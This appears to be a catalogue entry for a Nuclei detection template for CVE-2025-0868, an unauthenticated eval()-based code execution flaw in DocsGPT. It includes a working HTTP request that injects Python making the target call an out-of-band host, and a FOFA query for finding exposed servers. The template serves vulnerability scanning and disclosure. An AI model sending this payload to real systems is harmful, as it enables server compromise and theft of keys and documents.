CVE-2025-0868: DocsGPT - Unauthenticated Remote Code Execution
- Template: CVE-2025-0868
- Name: DocsGPT - Unauthenticated Remote Code Execution
- Description: A vulnerability, that could result in Remote Code Execution (RCE), has been found in DocsGPT. Due to improper parsing of JSON data using eval() an unauthorized attacker could send arbitrary Python code to be executed via /api/remote endpoint.This issue affects DocsGPT- from 0.8.1 through 0.12.0.
- Impact: Unauthenticated attackers can execute arbitrary Python code remotely on DocsGPT servers through improper eval() usage, leading to complete system compromise and potential access to all indexed documents and API keys.
- Remediation: Upgrade to DocsGPT version 0.12.1 or later that addresses the eval() vulnerability.
- Severity: critical
- Authors: iamnoooob, rootxharsh, pdresearch
- Tags: cve, cve2025, docsgpt, unauth, rce, vkev, vuln
- References: https://cert.pl/posts/2025/02/CVE-2025-0868/, https://cert.pl/en/posts/2025/02/CVE-2025-0868/, https://github.com/arc53/DocsGPT
- Cves: CVE-2025-0868
- Verified: yes
- Max requests: 1
- Directory: http/cves
- Path: http/cves/2025/CVE-2025-0868.yaml
- Digest: 490a00463044022057103f192268c74bc78539d31af020a12eae7eb806c24b5862fc70b7791fa3fd0220422b31eb22322f4b36660f6ccb195232561a7d75e5214e14cabc74d6038c9f15
- Created at: 2025-02-25T10:42:36Z
- Updated at: 2026-11-23T02:03:43Z
- Age in days: 637
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2025/CVE-2025-0868.yaml
- Checked, none or zero: products
Classification
- Epss score: 0.17087
- Epss percentile: 0.97155
- Checked, none or zero: cwe
- Not known: cvss score, cvss vector, cpe
Metadata
- Fofa-query: body="Welcome to DocsGPT"
- Max-request: 1
- Verified: yes
Labels
- Name: DocsGPT - Remote Code Execution
- Impact: Attackers can execute arbitrary Python code remotely, potentially leading to full system compromise.
- Remediation: Update to the latest version of DocsGPT, version 0.12.1 or later.
- Vulnerability type: command_injection
- Vulnerability impact: remote_code_execution
- Requirement type: none
- Labels source: projectdiscovery
- From cve: CVE-2025-0868
- Not known: requirements
```yaml
id: CVE-2025-0868
info:
name: DocsGPT - Unauthenticated Remote Code Execution
author: iamnoooob,rootxharsh,pdresearch
severity: critical
description: |
A vulnerability, that could result in Remote Code Execution (RCE), has been found in DocsGPT. Due to improper parsing of JSON data using eval() an unauthorized attacker could send arbitrary Python code to be executed via /api/remote endpoint.This issue affects DocsGPT- from 0.8.1 through 0.12.0.
impact: |
Unauthenticated attackers can execute arbitrary Python code remotely on DocsGPT servers through improper eval() usage, leading to complete system compromise and potential access to all indexed documents and API keys.
remediation: |
Upgrade to DocsGPT version 0.12.1 or later that addresses the eval() vulnerability.
reference:
- https://cert.pl/posts/2025/02/CVE-2025-0868/
- https://cert.pl/en/posts/2025/02/CVE-2025-0868/
- https://github.com/arc53/DocsGPT
classification:
epss-score: 0.17087
epss-percentile: 0.97155
metadata:
verified: true
max-request: 1
fofa-query: body="Welcome to DocsGPT"
tags: cve,cve2025,docsgpt,unauth,rce,vkev,vuln
http:
- raw:
- |
POST /api/remote HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
user=1&source=reddit&name=other&data={"source":"reddit","client_id":"1111","client_secret":1111,"user_agent":"111","search_queries":[""],"number_posts":10,"rce\\\\":__import__('requests').get('http://{{interactsh-url}}/')}#":11}
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- dns
- type: word
part: body
words:
- '"task_id":'
- '"status":'
condition: and
digest: 490a00463044022057103f192268c74bc78539d31af020a12eae7eb806c24b5862fc70b7791fa3fd0220422b31eb22322f4b36660f6ccb195232561a7d75e5214e14cabc74d6038c9f15:922c64590222798bb761d5b6d8e72950
```